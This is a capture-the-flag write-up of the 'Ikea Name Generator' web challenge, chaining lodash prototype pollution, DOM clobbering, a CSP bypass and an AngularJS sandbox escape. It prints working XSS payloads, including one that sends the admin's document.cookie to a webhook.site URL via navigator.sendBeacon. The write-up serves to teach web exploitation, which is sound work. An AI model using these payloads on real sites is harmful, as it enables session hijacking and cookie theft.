This will be a writeup for the challenge Ikea Name Generator from perfect blue ctf. The major components were prototype pollution, DOM clobbering, and angularjs sandbox escape.
Ikea Name Generator #
What's your IKEA name? Mine is SORPOÄNGEN.
http://ikea-name-generator.chal.perfect.blue/
By: corb3nik
When first looking at the site it is clear that we need to get XSS on the admin and steal their cookies. Let’s look at each component of the website and analyze them for vulnerabilities.
Starting off with the main page we see a few important things. There is a version of lodash (4.17.2) being used which is vulnerable to prototype pollution. In addition, we see that the config is loaded from a script tag and there there is an app.js which houses the main application logic.
Looking at app.js, we see that it uses _.merge
with an object so we immedietly know that prototype pollution is what we are trying to do. Following the generateName()
function, we see that the result of JSON.parse()
on what is returned by the CONFIG.url
is what is actually passed into the vulnerable function. We will use this vulnerability later but let’s continue to audit the script. We see that there is a function called createFromObject()
which returns a span element where the properties are set using the following for loop.
for (var key in obj) {
el[key] = obj[key]
}
This is special because the for loop will actually list properties that are under __proto__
but not by default as keys. With this, we will be able to arbitrarily set a property of the span element if we manage to trigger the prototype pollution.
The first payload that comes to mind is something like the following where we use the _.merge
in order to cause a prototype pollution and then set the innerHTML of the span.
{"__proto__":{"key":"value"}}
However, being able to set the innerHTML doesn’t mean we just win as the contents of the span are actually put in an iframe under the sandbox.php
url. Let’s first look at how to trigger the prototype pollution then how to escape the sandbox.
We now know some of the vulnerabilities within the app.js we have to actually chain it together. This was much tougher than I orignally thought because of the CSP. One important thing to notice is that the name is actually inserted onto the page by what I presume to be the PHP. This actaully gives us the ability to put arbitrary tags onto the page.
In order to trigger the prototype pollution, my idea was to make the XHR request return the JSON object we would pass to _.merge
. However, there are some problems we need to face.
First, how can we set the contents of the XHR request? Looking at the code, the URL passed in is from CONFIG.url
, what if we can use DOM clobbering to set this to what we want? This can be done by injecting the following HTML.
<a id=CONFIG></a><a id=CONFIG name=url href='URL'>
However, because the page actually loads a script which explicitly sets the CONFIG variable, we need to figure out a way to somehow disable it and still run app.js. In order to do this, I decided to add the script tag with app.js to the injected HTML. In addition, by using an HTML comment at the end of the injection, I am able to stop the original loading of the config and app.js.
<a id=CONFIG></a><a id=CONFIG name=url href='URL'><script src='app.js'></script><!--
The next problem is that the CSP dicates that the connect-src is self. How can we bypass this and make the request use the content we want? The 404.php page let’s us set a message and display it on the site. Note that we cannot just place our javascript in this file as it has an explicit mime type of text/plain
. Our injected HTML should now look something like this.
<a id=CONFIG></a><a id=CONFIG name=url href='/404.php?msg='><script src='app.js'></script><!--
By chaining this with the prototype pollution, we are now able to set the innerHTML of the span which is injected into the sandbox.php iframe. Note that below may not work because of encoding issues which I will talk about later.
<a id=CONFIG></a><a id=CONFIG name=url href='/404.php?msg={"__proto__":{"innerHTML":"value"}}'><script src='app.js'></script><!--
Great, so now we can set the HTML of on sandbox.php but what is so special about it? I noticed that the CSP on the URL is slightly different, it actually adds angularjs as an allowed script src. This makes it clear that what we need to do is use angularjs to escape the CSP.
After researching online, I found a payload which could be used on a page with angularjs and allow us to execute an alert(1)
without violating the CSP. Note that I use /
here instead of space to once again help with encoding issues later on.
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js></script><div/ng-app><input/autofocus/ng-focus=$event.path|orderBy:'[].constructor.from([1],alert)'></div>
We can expand on this primitive because alert executes the content within it, for example the code below would cause a redirect to google.
alert(window.location.href='https://google.com')
We can use this to exfil the cookie by using navigator.sendBeacon()
like the following.
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js></script><div/ng-app><input/autofocus/ng-focus=$event.path|orderBy:'[].constructor.from([navigator.sendBeacon("https://webhook.site/4c079277-4a93-4a78-aa9e-b71f58ceaa3a",document.cookie)],alert)'></div>
The special thing about angularjs is that it is really picky. First, you will see that if any of the quotation marks are changed in the above payload, the payload won’t work. This makes it really painful to make sure the encodings are right. In addition, angular won’t compile and render content inserted via appendChild or innerHTML. How can we get around this? Once again we call on our best friend iframes and use the srcdoc property. This let’s us create a page with any HTML we want that follows the parents CSP.
Our complete payload which we need to be passed to _.merge
now looks like something like this. Keep in mind that the quotation marks are all wrong and we will deal with that in the following section.
<a id=CONFIG></a><a id=CONFIG name=url href='/404.php?msg={"__proto__":{"innerHTML":"<iframe srcdoc="<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js></script><div/ng-app><input/autofocus/ng-focus=$event.path|orderBy:'[].constructor.from([navigator.sendBeacon("https://webhook.site/4c079277-4a93-4a78-aa9e-b71f58ceaa3a",document.cookie)],alert)'></div>"></iframe>"}}'><script src='app.js'></script><!--
Now all we have to do is chain all the steps together and profit! Or so I thought. This was probably the most painful part of the challenge because the encodings kept being slightly wrong.
The following is the series of steps I used to make my final payload which would be passed as the name
parameter of the original page then sent to the admin.
1. HTML entity encode the payload of innerHTML
2. URL encode msg param where innerHTML is what we just URL encoded in an iframe srcdoc; {"__proto__":{"innerHTML":"<iframe/srcdoc=...></iframe>"}}
3. URL encode everything including the DOM clobber
Here is why we need each one. I won’t include the actual payloads because they are too long. If you have questions about encoding at any of the steps let me know and I can get them to you somehow. I will link the final name parameter payload though.
The reason for the first step is that entity encoding allows us to easily include some more nested quotation marks as it is set using innerHTML. I believe that my exploit chain uses up to triply nested quotation marks and the fact that angular is so picky about which kind of quotation marks can be used made this extra painful.
The second step was done because once again URL encoding a URL let’s us nest one more layer of quotation marks. You should notice that I did everything I could to add more nested quotation marks and it was a matter of trial and error to see what broke the HTML.
The final step is to URL encode everything because it makes sure the page sees exactly what we see instead of having to make sure nothing was encoded improperly.
The final payload which would be attached to the name parameter is the following. It is quite long because of all the encodings but thankfully apache does not reject it. View it on github here.